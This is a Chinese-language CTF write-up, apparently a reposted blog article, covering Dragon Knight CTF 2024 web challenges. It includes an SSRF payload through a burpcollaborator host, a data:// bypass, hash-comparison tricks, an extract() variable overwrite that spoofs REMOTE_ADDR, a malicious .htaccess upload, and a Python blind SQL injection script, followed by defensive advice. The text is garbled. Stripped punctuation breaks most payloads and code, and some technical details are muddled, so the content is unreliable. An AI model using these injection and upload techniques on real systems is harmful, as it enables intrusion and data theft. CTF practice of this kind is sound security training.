Dragon Knight CTF 2024 实战复盘:从SSRF到SQL注入的完整攻防解析
1. SSRF漏洞的发现与利用在Dragon Knight CTF 2024的Web赛题中我们首先遇到了一个典型的SSRF服务器端请求伪造漏洞。这个漏洞隐藏在c3s4f.php文件中通过简单的F12开发者工具检查就能发现端倪。我习惯性地先查看页面源代码发现了一个有趣的提示。这明显是在引导我们进行参数fuzz测试。这里推荐一个超好用的工具Arjun在Kali Linux中只需要执行pip install Arjun就能安装。实测下来这个工具在发现隐藏参数方面表现非常稳定。很快我们就fuzz出了一个关键参数shell。尝试用GET方式提交这个参数时页面返回了一个经典的XXF外部实体注入响应。不过无论怎么修改IP地址为127.0.0.1都没有新的发现。这时候我决定扫描一下目录果然发现了一个secret.php文件。构造payload的过程很有意思c3s4f.php?shellhttp://spoofed.burpcollaborator.net/secret.php这个payload成功触发了SSRF漏洞让我们获取到了下一关的密钥和地址。这里的关键是要理解服务器是如何处理这个shell参数的它显然没有对内部请求做足够的限制。2. 文件上传与变量覆盖技巧拿到源代码后我发现了三个挑战关卡。第一个挑战使用了file_get_contents()函数这让我立刻想到了用data协议来绕过DrKndata://text/plain,MSIBLG第二个挑战涉及到MD4哈希的弱类型比较。经过多次尝试最终使用的payload是M_ore.80e001233333333333334557778889这里有个坑点下划线_被过滤了需要特别注意。第三个挑战要求我们找到两个不同的字符串但它们的MD5值相同。这种碰撞在CTF中很常见我直接使用了经典的数组绕过技巧user[]apass[]b3. 本地文件包含与伪造成员在另一个赛题中我们发现了index.php.bak文件这给了我们源代码。代码中有一个明显的变量覆盖漏洞extract($_GET);利用这个漏洞我们可以伪造$_SERVER[REMOTE_ADDR]?_SERVER[REMOTE_ADDR]127.0.0.1文件上传功能也有趣虽然上传了PHP文件但无法直接访问。这时候需要上传一个.htaccess文件来开启PHP解析php_flag engine on AddType application/x-httpd-php .php4. SQL盲注的完整绕过最后的登录页面存在SQL注入但过滤了很多关键词unionif比较运算符,concat空格我采用了布尔盲注的方式用注释/**/代替空格最终写了一个Python脚本来自动化这个过程import requests import base64 import json url http://challenge.qsnctf.com:30642/ str1 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}#$\()*,-./:;?[\\]^|~_!% def request(username): # 注册、登录、获取信息的完整流程 ... def database_name(length): name for idx in range(1,length1): for char in str1: payload adminand substr(database(),{},1){}#.format(idx,char) payload payload.replace( ,/**/) res request(payload) if No user found not in res: name char print(name) break这个脚本逐步爆破出了数据库名、表名、列名最终获取到了flag。整个过程虽然耗时但在CTF比赛中这种系统化的方法往往最可靠。5. 防御措施与经验总结从防御角度看这场比赛暴露了几个常见问题SSRF防护应该限制服务器能请求的URL范围禁用危险的URL协议如file://, gopher://使用白名单验证请求目标文件上传安全检查文件内容而不仅是扩展名随机化上传文件名禁用.htaccess覆盖SQL注入防护使用预处理语句实施最小权限原则过滤特殊字符要全面在实际CTF比赛中我发现最有效的策略是先全面收集信息源代码、文件目录注意每个异常的响应善用工具但不要过度依赖保持耐心一步步验证每个猜想这次比赛让我对Web安全的攻防有了更深的理解特别是在面对多重过滤时的绕过技巧。记住每个安全限制都可能存在意想不到的绕过方式关键在于保持创造力和系统化的测试方法。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2458310.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!